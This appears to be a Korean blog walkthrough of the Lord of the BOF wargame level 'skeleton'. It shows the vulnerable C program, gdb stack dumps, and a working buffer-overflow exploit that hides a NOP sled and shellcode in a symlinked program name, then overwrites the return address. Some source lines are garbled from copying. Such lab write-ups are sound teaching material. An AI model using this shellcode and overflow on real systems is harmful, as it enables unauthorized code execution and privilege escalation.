본문 바로가기

WarGame/LOB

[LOB] vampire :: 초기화되지 않는 환경변수 영역


  • User : vampire
  • 문제 : skeleton


skeleton.c의 소스코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
/*
        The Lord of the BOF : The Fellowship of the BOF
        - skeleton
        - argv hunter
*/
 
#include <stdio.h>
#include <stdlib.h>
 
extern char **environ;
 
main(int argc, char *argv[])
{
        char buffer[40];
        int i, saved_argc;
 
        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }
 
        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));
 
        if(argv[1][47!= '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }
 
        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }
 
        // argc saver
        saved_argc = argc;
 
        strcpy(buffer, argv[1]); // Vunlerability!!!
        printf("%s\n", buffer);
 
        // buffer hunter
        memset(buffer, 040);
 
        // ultra argv hunter!
        for(i=0; i<saved_argc; i++)
                memset(argv[i], 0, strlen(argv[i]));
}
cs


buffer와 환경변수, 모든 argv 영역을 초기화시키고 있습니다. 어디에 shellcode를 집어 넣어야 할지 망막할수 있지만 이전 문제까지 풀면서 GDB로 Stack 영역을 유심히 보았던 User라면 쉽게 접근할 수 있습니다. 필연적으로 환경변수 영역에서 자신의 명령어, 즉 실행 파일은 초기화될 수 없습니다. 바로 이 영역을 이용하여 문제를 해결할 수 있습니다.


Step 1. GDB로 buffer의 크기를 확인해 보면 40 Byte라는 것을 확인할 수 있고, 이어서 SFP와 RET가 위치해 있습니다.


Step 2. GDB를 이용하여 main() 함수에서 memset() 함수가 모두 실행된 후 Break Pointer로 잡아서 메모리 영역을 확인해 보면 아래와 같은 결과를 확인할 수 있습니다. Stack에 가장 하단(가장 높은 주소)에 초기화되지 않은 값을 확인할 수 있고, string으로 확인해 보면 "/home/vampire/tmp/skeleton" 즉, 실행 파일명이 존재합니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Breakpoint 1, 0x8048670 in main ()
(gdb) x/60x $esp
0xbffffaa8:     0x00000002      0x00000002      0x00000000      0x00000000
0xbffffab8:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffac8:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffad8:     0xbfbfbfbf      0xbfbfbfbf      0x00000000      0xbffffb24
0xbffffae8:     0xbffffb30      0x40013868      0x00000002      0x08048450
0xbffffaf8:     0x00000000      0x08048471      0x08048500      0x00000002
...
(gdb)
0xbffffd78:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffd88:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffd98:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffda8:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffdb8:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffdc8:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffdd8:     0x00000000      0x00000000      0x00000000      0x00000000
...
(gdb)
0xbfffffb8:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffffc8:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffffd8:     0x00000000      0x00000000      0x6f682f00      0x762f656d
0xbfffffe8:     0x69706d61      0x742f6572      0x732f706d      0x656c656b
0xbffffff8:     0x006e6f74      0x00000000      Cannot access memory at address 0xc0000000
 
(gdb) x/40s 0xbfffffd8
...
0xbfffffdf:      ""
0xbfffffe0:      ""
0xbfffffe1:      "/home/vampire/tmp/skeleton"
0xbffffffc:      ""
cs


Step 3. 이제 NOP 코드와 shellcode로 구성된 skeleton의 링크 파일을 만듭니다. shellcode 뒤에 100 Byte의 NOP 코드를 준 이유는 shellcode와 Stack에 바닥이 너무 가까우면 shellcode가 정상적으로 실행되지 않습니다. (이전 문제와 마찬가지로 링크 파일명의 shellcode에는 "\x2f"가 존재하면 안됩니다.) 


1
2
3
ln -s skeleton `python -c 'print "juun"+"\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01
\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f
\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*100'`
cs


Step 4. 그리고 다음과 같은 payload를 만들 수 있습니다. RET 값을 해당 실행 파일명에 존재하는 메모리 주소로 수정하면 shellcode를 실행시킬 수 있습니다.

 

1
2
3
./`python -c 'print "juun"+"\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75
\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a
\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*100'` `python -c 'print "A"*44+"\x30\xff\xff\xbf"'`
cs